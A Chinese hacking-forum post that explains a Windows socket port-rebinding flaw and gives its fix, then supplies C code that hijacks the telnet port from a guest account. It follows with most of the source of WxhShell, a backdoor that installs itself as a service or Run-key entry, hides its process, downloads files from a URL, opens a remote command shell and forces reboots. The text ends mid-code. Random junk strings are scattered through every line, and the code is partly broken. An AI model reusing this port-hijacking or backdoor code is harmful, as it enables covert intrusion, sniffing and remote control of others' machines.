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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^;C&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WJ7|0qb  
| HazM9=  
  saddr.sin_family = AF_INET; 74s{b]jN'-  
@hLkU4S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Cs $5Of(  
{]vD@)k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >1y6DC  
jDzQw>T X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?Ua,ba*  
S_}`'Z )  
  这意味着什么?意味着可以进行如下的攻击: Cj5mM[:s  
:<% bAn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t=_^$M,yr  
lQA5HzC\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 50UdY9E_v}  
#6sz@XfV  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *zfgO pK  
6( HF)z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [P$Xr6#  
n:j'0WW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 HL)!p8UHJ  
J3 $>~?^1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~lj~]j  
7y=>Wa?T[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E-LkP;  
A_9WSXR  
  #include qT O6I5u  
  #include OLw]BJXYaE  
  #include LiJYyp  
  #include    .Po"qoGy  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5>532X(0  
  int main() 9+.wj/75  
  { nhI+xqfn  
  WORD wVersionRequested; %E?Srs}j  
  DWORD ret; yzK;  
  WSADATA wsaData;  vSzpx  
  BOOL val; K!|eN_1A  
  SOCKADDR_IN saddr; j0=6B  
  SOCKADDR_IN scaddr; {>&~kM@  
  int err; [m~J6WB  
  SOCKET s; 7Q 3!= b  
  SOCKET sc; gLiJ&H  
  int caddsize; 6W1GvM\e  
  HANDLE mt; p6M9uu  
  DWORD tid;   q*!R4yE;C  
  wVersionRequested = MAKEWORD( 2, 2 ); 'H1~Zhv  
  err = WSAStartup( wVersionRequested, &wsaData ); %1z;l.c  
  if ( err != 0 ) { 'o$j~Mr  
  printf("error!WSAStartup failed!\n"); {I#_0Q,i  
  return -1; J~~\0 u  
  } uo F.f$%"  
  saddr.sin_family = AF_INET; U>5^:%3  
   "hkcN+=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =C\Tl-$\f  
=]5tYIU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~/OY1~c  
  saddr.sin_port = htons(23); OvfluFu7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F!z0N&#  
  { oqrx7 +0{  
  printf("error!socket failed!\n"); V^~RDOSy7n  
  return -1; }\4yU=JP K  
  } AGhenDN V  
  val = TRUE; )'shpRB;1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gt kV=V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )|gw5N4;  
  { K;K0D@>]HR  
  printf("error!setsockopt failed!\n"); M!&Hn,22  
  return -1; {UNH?2  
  } IUMv{2C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Pwh}hG1s a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fI.|QD*$b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y2|i>5/|<  
z 4u&#.bU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <T 2O^  
  { x6ghO-s  
  ret=GetLastError(); {QG.> lB  
  printf("error!bind failed!\n"); a`O'ZY  
  return -1; /ViY:-8s  
  }  A l[ZU  
  listen(s,2); wO??"${OH  
  while(1) K:Z$V  
  { Ds1h18  
  caddsize = sizeof(scaddr); *P mZqe  
  //接受连接请求 {kpad(E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I{Du/"r#  
  if(sc!=INVALID_SOCKET) ;0DoZ  
  { 9>RkFV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $b8[/],  
  if(mt==NULL) An2 >]\L  
  { -cqE^qAdX  
  printf("Thread Creat Failed!\n"); z?/_b  
  break; a~}q]o?j  
  } $4bc!  
  } 7FX4|]  
  CloseHandle(mt); Pz)lq2Zm9  
  } jIh1)*]054  
  closesocket(s); @]uqC~a^  
  WSACleanup(); /9vi  
  return 0; AXyXK??  
  }   {16a P  
  DWORD WINAPI ClientThread(LPVOID lpParam) WjD885Xo  
  { )~2\4t4|g  
  SOCKET ss = (SOCKET)lpParam; \J LGw1F  
  SOCKET sc; @K;b7@4y  
  unsigned char buf[4096]; `}X3f#eO&  
  SOCKADDR_IN saddr; 5F kdGF  
  long num; W"\~O"a  
  DWORD val; 5xH=w:  
  DWORD ret; "*vrrY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dsTX?E<R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G e;67  
  saddr.sin_family = AF_INET; }'[>~&/"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7QO/; zL  
  saddr.sin_port = htons(23); C'R9Nn'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N0 {e7M  
  { *'@O o  
  printf("error!socket failed!\n"); =v2 |QuS$  
  return -1; ;lObqs*?>  
  } Gxr\a2Z&r%  
  val = 100; I0XJ& P%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k 9i W1  
  { :EX>Y<`]  
  ret = GetLastError(); <kB:`&X<\  
  return -1; 3W1Lh~Av  
  } J4bP(=w!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A?R`~*Q5  
  { 0X)vr~`  
  ret = GetLastError(); +\!.X _Ij  
  return -1; %=**cvVy  
  } {FI zoR"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )uqzu%T  
  { c 4z&HQd  
  printf("error!socket connect failed!\n"); %H{pU:[5*  
  closesocket(sc); ^O|fw?,  
  closesocket(ss); y2W+YV*  
  return -1; /x3*oO1  
  } pBtO1x6x/  
  while(1) , Ckcc  
  { !Asncc G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #GM^:rF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  _a09;C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AVT % AS  
  num = recv(ss,buf,4096,0); /HIyQW\Ki-  
  if(num>0) %.Y5%T yP  
  send(sc,buf,num,0); !h? HfpYv  
  else if(num==0) ~J\qkQ  
  break; !y_FbJ8KC  
  num = recv(sc,buf,4096,0); 9xA4;)36  
  if(num>0) Y?^liI`#  
  send(ss,buf,num,0); o3 0C\  
  else if(num==0) Jr!^9i2j'  
  break; t:wBh'K~R8  
  } $dM_uSt  
  closesocket(ss); i{$-[*WHiV  
  closesocket(sc); [f+wP|NKL  
  return 0 ; K0w}l" )A  
  } HZ3;2k  
S:1[CNL;  
77\+V 0cF  
========================================================== u\LNJo| B  
1$Hou   
下边附上一个代码,,WXhSHELL [,;Y5#Y[5  
!*]i3 ,{7v  
========================================================== .7Mf(1:  
7hJX  
#include "stdafx.h" _E '?U  
CL0 lMZ  
#include <stdio.h> -A#p22D,5  
#include <string.h> 8LV6E5Q  
#include <windows.h> /2Izj/Q  
#include <winsock2.h> = l(euBb  
#include <winsvc.h> I\*6 >  
#include <urlmon.h> %ap(=^|5  
Y0(4]X \ey  
#pragma comment (lib, "Ws2_32.lib") b1Vr>:sK47  
#pragma comment (lib, "urlmon.lib") 4,y7a=qf3  
l~Jd>9DwY  
#define MAX_USER   100 // 最大客户端连接数 !Yof%%m$;  
#define BUF_SOCK   200 // sock buffer 4/ ` *mPW  
#define KEY_BUFF   255 // 输入 buffer r<!hEWO>v  
h$5[04.Q  
#define REBOOT     0   // 重启 ;nSF\X(;{  
#define SHUTDOWN   1   // 关机 py;p7y!gxA  
|d0ZB_ci  
#define DEF_PORT   5000 // 监听端口 B*tYp  
E2DfG^sGV  
#define REG_LEN     16   // 注册表键长度 YR'F]FI  
#define SVC_LEN     80   // NT服务名长度 l'I:0a 4T  
izP )t  
// 从dll定义API C0N :z.)4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  l"ms:v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B[8bkFS>]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s{b\\$Rb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q7 PCMe  
^N7H~CT"  
// wxhshell配置信息 k;\gYb%L  
struct WSCFG { \2@J^O1,  
  int ws_port;         // 监听端口 .wNXvnWr  
  char ws_passstr[REG_LEN]; // 口令 [IAUJ09>I  
  int ws_autoins;       // 安装标记, 1=yes 0=no `cp\UH@  
  char ws_regname[REG_LEN]; // 注册表键名 +b 6R  
  char ws_svcname[REG_LEN]; // 服务名 0AHQ(+Ap  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tV !?Ol  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t:2DB)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "Z&.m..gc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v,i|:;G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4jXo5SkEJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 & /8Tth86  
gqS9{K(f  
}; 0+SDFh  
"Not /8J  
// default Wxhshell configuration nI6 gd%C  
struct WSCFG wscfg={DEF_PORT, ~| j  eNT  
    "xuhuanlingzhe", Q:b0M11QR  
    1, qfsPX6]  
    "Wxhshell", ?/YABY}L  
    "Wxhshell", cWAw-E5  
            "WxhShell Service", &nIu^,.  
    "Wrsky Windows CmdShell Service", F85_Lz4  
    "Please Input Your Password: ", '=0}2sF>  
  1, C8K2F5c5  
  "http://www.wrsky.com/wxhshell.exe", _mSefPl  
  "Wxhshell.exe" ko9}?qs  
    }; "{~5QO   
`X<B+:>v-  
// 消息定义模块 >Y>R1b%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 811>dVq3/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #gbB// <  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d?7?tL2  
char *msg_ws_ext="\n\rExit."; `XxnQng  
char *msg_ws_end="\n\rQuit."; &_L%wV|[  
char *msg_ws_boot="\n\rReboot..."; EHUx~Q   
char *msg_ws_poff="\n\rShutdown..."; { b$"SIg1E  
char *msg_ws_down="\n\rSave to "; vH+g*A0S<  
TAXsL&Tz>  
char *msg_ws_err="\n\rErr!"; m,)s8_a  
char *msg_ws_ok="\n\rOK!"; -;9 }P  
J+/}m}bx  
char ExeFile[MAX_PATH]; *73gp  
int nUser = 0; c'2/C5  
HANDLE handles[MAX_USER]; l@);U%\pS  
int OsIsNt; ]s=|+tz\V  
o-6d$c}{f  
SERVICE_STATUS       serviceStatus; `<9>X9.+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BpIyw  
4]r_K2.cc  
// 函数声明 M!,H0( @G  
int Install(void); D|q~n)TW5  
int Uninstall(void); `n$Ak5f  
int DownloadFile(char *sURL, SOCKET wsh); 9[/0  
int Boot(int flag); k|-\[Yl.  
void HideProc(void); 6 \8d6x>  
int GetOsVer(void); wsmgkg  
int Wxhshell(SOCKET wsl); HAn{^8"@  
void TalkWithClient(void *cs); 8n3]AOc'~-  
int CmdShell(SOCKET sock); poBeEpbs  
int StartFromService(void); T >8P1p@A,  
int StartWxhshell(LPSTR lpCmdLine); iTHwH{!  
-,")GA+[7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ! VR&HEru  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E !!,JnU  
rxyv+@~Nc  
// 数据结构和表定义 z>PVv)X  
SERVICE_TABLE_ENTRY DispatchTable[] = _^E NRk@  
{ @bg9 }Z%\h  
{wscfg.ws_svcname, NTServiceMain}, e)uC  
{NULL, NULL} m[}P  
}; v_XN).f;  
P}4&J ^  
// 自我安装 .HZd.*  
int Install(void) n%3!)/$  
{ | In{5E k  
  char svExeFile[MAX_PATH]; DvH-M3  
  HKEY key; W_B=}lP@x  
  strcpy(svExeFile,ExeFile); g@#he95 }  
_^FC 9  
// 如果是win9x系统,修改注册表设为自启动 X9| Z ?jJ  
if(!OsIsNt) { `bQ_eRw}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?("O.<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *aCL/:  
  RegCloseKey(key); =d8Rij-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8xB-cE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u[)X="-e#  
  RegCloseKey(key); dWn6-es  
  return 0; B''yW{  
    } TO Hz3=  
  } %DSr@IX  
} k>ErD v8  
else { b/_Zw^DPC  
`Moo WG  
// 如果是NT以上系统,安装为系统服务 SRfh{u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m]?Z_*1  
if (schSCManager!=0) =RWTjTZ   
{ W^iK9|[qp  
  SC_HANDLE schService = CreateService -jJhiaJ$<  
  ( CA#g(SiZ  
  schSCManager, ^{"i eVn  
  wscfg.ws_svcname, eJoM4v  
  wscfg.ws_svcdisp, H?"M&mF  
  SERVICE_ALL_ACCESS, Ovt]3`U9J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P3Ql[ 2  
  SERVICE_AUTO_START, cH&)Iz`f  
  SERVICE_ERROR_NORMAL, [ K?  
  svExeFile, ;^/ruf[t  
  NULL, -`' |z+V  
  NULL, 8;gi8Y  
  NULL, 4<[?qd 3v=  
  NULL, ; $rQ  
  NULL Ke4oLF2  
  ); oB 1Qw'J w  
  if (schService!=0) w>2lG3H<  
  { Onx6Fy]L  
  CloseServiceHandle(schService); 3#t9pI4  
  CloseServiceHandle(schSCManager); $$ND]qM$M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Yh95W  
  strcat(svExeFile,wscfg.ws_svcname); jgE{JK\n4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z8=?Hu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yepRJ%mp  
  RegCloseKey(key); NAo.79   
  return 0; ]KuM's  
    } Fbo"Csn_  
  } *z[vp2 TN  
  CloseServiceHandle(schSCManager); 7 (2}Vs!5  
} .6gx|V+  
}  ,t 2CQ  
uUfw"*D  
return 1; Ij(dgY  
} )>M L7y  
"[ LUv5  
// 自我卸载 g/C 7wc  
int Uninstall(void) |&@q$d  
{ %uo8z~+  
  HKEY key; j#f/M3  
6Y2,fW8i,  
if(!OsIsNt) { )?[2Y%P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L9/'zhiZBx  
  RegDeleteValue(key,wscfg.ws_regname); )FwOg;=3M"  
  RegCloseKey(key); 9we];RYK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '`upSJ;e  
  RegDeleteValue(key,wscfg.ws_regname); <l1/lm<#  
  RegCloseKey(key); `:lcN0n  
  return 0; 7Q/H+)  
  } mywx V  
} k$v 7@|Aw  
} K21Xx`XK  
else { 1le9YL1_g  
;,-)Z|W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |Kd6.Mx  
if (schSCManager!=0) @ fMlbJq  
{ D&m1yl@\J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dFg&|Lp  
  if (schService!=0) "dCIg{j   
  { <uIPv Zsx  
  if(DeleteService(schService)!=0) { `G":y[Q  
  CloseServiceHandle(schService); sA6HkB.  
  CloseServiceHandle(schSCManager); ^RnQX#+  
  return 0; *4~7p4 [  
  } )%jS9e{d  
  CloseServiceHandle(schService); L\ysy2E0  
  } @16y%]Q-E#  
  CloseServiceHandle(schSCManager); IRM jL.q  
} U+VJiz<!  
} <@`K^g;W  
~6#mVP5sU)  
return 1; s;h`n$  
} f@Mku0VT  
=3,<(F5Y[  
// 从指定url下载文件 cY} jPDH  
int DownloadFile(char *sURL, SOCKET wsh) t>]W+Lx#  
{ K/(LF}  
  HRESULT hr; =O8YU)#  
char seps[]= "/"; #~j$J  
char *token; QqL?? p-S>  
char *file; ,dba:D= l  
char myURL[MAX_PATH]; `*CoVx~fk  
char myFILE[MAX_PATH]; b5g^{bzwu  
\nOV2(FAT  
strcpy(myURL,sURL); r;f\^hVy  
  token=strtok(myURL,seps); blz#M #  
  while(token!=NULL) &h[)nD  
  { 6Hc25NuQZ  
    file=token; 7# 'j>]  
  token=strtok(NULL,seps); Uj 3{c  
  } F4(;O7j9  
%|@?)[;  
GetCurrentDirectory(MAX_PATH,myFILE); R(Vd[EGY  
strcat(myFILE, "\\"); CWs;1`aP  
strcat(myFILE, file); yq3"VFh3d  
  send(wsh,myFILE,strlen(myFILE),0); 9^S rOW6~  
send(wsh,"...",3,0); W(ZEqH2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pnz@;+f  
  if(hr==S_OK) #euOq  
return 0; j5Yli6r?3-  
else KI<x`b  
return 1; f`8fNt  
z=k*D^X  
} 0T3r#zQ  
qyyLU@hd  
// 系统电源模块 i_6wD  
int Boot(int flag) M]\"]H?  
{ R U[  
  HANDLE hToken; &m(eMX0lU  
  TOKEN_PRIVILEGES tkp; ?Wt_Obl  
gKU*@`6G  
  if(OsIsNt) { jbOzbxR?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~R|fdD/%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AF{o=@  
    tkp.PrivilegeCount = 1; ,^xsdqpe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uJ*|SSN~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YVY(uq)d  
if(flag==REBOOT) { C~iFFh6:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b(ryk./ogx  
  return 0; VAxk?P0j6  
} _}Gs9sHr0K  
else { g2 V $  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :Z ]E:f0P  
  return 0; HV3wUEI3  
} 1?+)T%"  
  } Z?",+|4  
  else { '.&,.E&{$  
if(flag==REBOOT) { y(#F&^|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hYCyc -W  
  return 0; /`x|-9  
} 7f=9(Zj  
else { _ )^n[_E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qzk/oH s  
  return 0; b!37:V\#}  
} X>jwjRK $  
} Dc> )js|"  
r52,f%nlm  
return 1; ,TO&KO1;&  
} qf] OSd  
`|JQ)!Agx  
// win9x进程隐藏模块 Y@%6*uTLa  
void HideProc(void) m4P=,=%  
{ ;Wr,VU]  
_jb"@TY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J2#=`|t"  
  if ( hKernel != NULL ) 4sK|l|W  
  { [dL?N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -p !KsU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s.dn~|a  
    FreeLibrary(hKernel); d0Kg,HB  
  } a( {`<F  
:S7yM8 b`  
return; =Jl1D*B*  
} 1J *wW# e  
+XRv iHA`  
// 获取操作系统版本 zsRN\U  
int GetOsVer(void) R}+/jh2O|  
{ zZh`go02E  
  OSVERSIONINFO winfo; lR^dT4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z8"=W,2  
  GetVersionEx(&winfo); |V~P6o(/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *&2#;mf3  
  return 1; GrQAho  
  else <db/. A3  
  return 0; t_VHw'~"  
} :* /``  
C1rCKKh  
// 客户端句柄模块 :~)Q]G1Nj  
int Wxhshell(SOCKET wsl) $v oyXi`*  
{ +#H8d1^5  
  SOCKET wsh; B 9Mwj:)}  
  struct sockaddr_in client; 3S2'JOTY  
  DWORD myID; i+cGw  
o-' i)pp  
  while(nUser<MAX_USER) $ .Z2Rdlv(  
{ 6k3l/~R  
  int nSize=sizeof(client); fAUsJ[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s* YFN#Wuc  
  if(wsh==INVALID_SOCKET) return 1; ujWHO$uz!  
S@"=,Xj M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K ;xW/7?  
if(handles[nUser]==0) ta6 WZu  
  closesocket(wsh); rqh,BkQ0t  
else n0i&P9@B1  
  nUser++; &{=~)>h  
  } 0j/81Y}p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xNqQbk F  
G =4y!y  
  return 0; Sf'5/9<DW+  
} w+$gY?%  
q(p0#Mk,E  
// 关闭 socket eB@i)w?@o  
void CloseIt(SOCKET wsh) =K>Z{% i  
{ y?@Y\ b  
closesocket(wsh); aC$g(>xFt  
nUser--; B+DRe 8  
ExitThread(0); \j;uN#)28  
} CGe'z  
lM1!2d'P  
// 客户端请求句柄 R39R$\  
void TalkWithClient(void *cs) 5)o IPHXw  
{ B:r-')!0$#  
"=n8PNV/ c  
  SOCKET wsh=(SOCKET)cs; =U2Te  
  char pwd[SVC_LEN]; .}<B*e=y  
  char cmd[KEY_BUFF]; 9iy|=  
char chr[1]; @ :4Kk 4g1  
int i,j; E\*",MGL  
9cmJD5OO  
  while (nUser < MAX_USER) { +?:V\niQI  
\ +xIH  
if(wscfg.ws_passstr) { PC_4#6^5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &"h!SkX/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,< icW &a  
  //ZeroMemory(pwd,KEY_BUFF); uWInx6p  
      i=0; .nH /=  
  while(i<SVC_LEN) { kZ.3\  
)IhY&?jk?  
  // 设置超时 9|WWA%p  
  fd_set FdRead; f,a %@WT  
  struct timeval TimeOut; L K~,  
  FD_ZERO(&FdRead); /a|NGh%  
  FD_SET(wsh,&FdRead); L-R}O 8  
  TimeOut.tv_sec=8; qU n>  
  TimeOut.tv_usec=0; oCYD@S>h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w1_Ux<RF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A,e^bM  
UIj/Id  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~QcKW<bz  
  pwd=chr[0]; dSZ#,Ea"  
  if(chr[0]==0xd || chr[0]==0xa) { VC(|t} L4  
  pwd=0; ECzNByP  
  break; %4Zy1{yKs_  
  } \^4$}@*]  
  i++; #+PbcL  
    } Vgn1I(Gj4  
\pGO}{3 e*  
  // 如果是非法用户,关闭 socket b]#d04]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5,ahKB8  
} _[o^23Hj  
y}HC\A77uD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); se HbwO3 b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `=DCX%Vw  
UJ$:5*S=u  
while(1) { r_E)HL/A  
U.'@S8  
  ZeroMemory(cmd,KEY_BUFF); n;`L5  
5z ^UQ q  
      // 自动支持客户端 telnet标准   9%14k  
  j=0; x 4</\o  
  while(j<KEY_BUFF) { F5MPy[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9lJj/  
  cmd[j]=chr[0]; \=_q{  
  if(chr[0]==0xa || chr[0]==0xd) { ^(*O$N*#  
  cmd[j]=0; )6 <byO  
  break; |uBC0f  
  } 3og$'#6P  
  j++; a3O_#l-Z  
    } u/'sdt  
_ng =5  
  // 下载文件 C}'="g^=sl  
  if(strstr(cmd,"http://")) { c|( ?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~9{;V KgK  
  if(DownloadFile(cmd,wsh)) >1G*ya)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p30&JJ!~"  
  else /t)c fFM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~"2@A F  
  } ~!9Px j*  
  else {  r;X0 B  
p3FnYz-V  
    switch(cmd[0]) { vcO`j<`  
  \N , '+  
  // 帮助 :yjK*"T|OD  
  case '?': { +JS/Z5dl+}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n(YHk\2  
    break; :;;WK~* #  
  } .]s( c!{y  
  // 安装 `Uj?PcS_  
  case 'i': { /NX7Vev  
    if(Install()) vSC0D7BlG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]j2v"n  
    else g+ 1=5g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cgxF Ev  
    break; 5vX 8mPR_  
    } _s^:zPl  
  // 卸载 3u0<v%Qi  
  case 'r': { h` h>H X  
    if(Uninstall()) 66@3$P%1p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W#jZRviyq!  
    else EH*ym#Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O< tnM<"(  
    break; $W {yK+N  
    } ) Zb`~w  
  // 显示 wxhshell 所在路径 q X%vRf0  
  case 'p': { LX\*4[0%K  
    char svExeFile[MAX_PATH]; ]8m_*I!  
    strcpy(svExeFile,"\n\r"); s |gD  
      strcat(svExeFile,ExeFile); ]a6O(]  
        send(wsh,svExeFile,strlen(svExeFile),0); IFrb}yH  
    break; 2'<=H76  
    } @9uYmkcV  
  // 重启 jxnQG A  
  case 'b': { )0U3w#,JQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +eBMn(7Cgv  
    if(Boot(REBOOT)) =qp}p'BYe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c/=y*2,zo  
    else { <cDKGd  
    closesocket(wsh); vNz;#Je  
    ExitThread(0); EO].qN-8  
    } j(%gMVu  
    break; HCJ8@nki  
    } ke}Y 2sB  
  // 关机 WXLe,7y  
  case 'd': { &N"'7bK6n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \m=-8KpU  
    if(Boot(SHUTDOWN)) vQK n=  
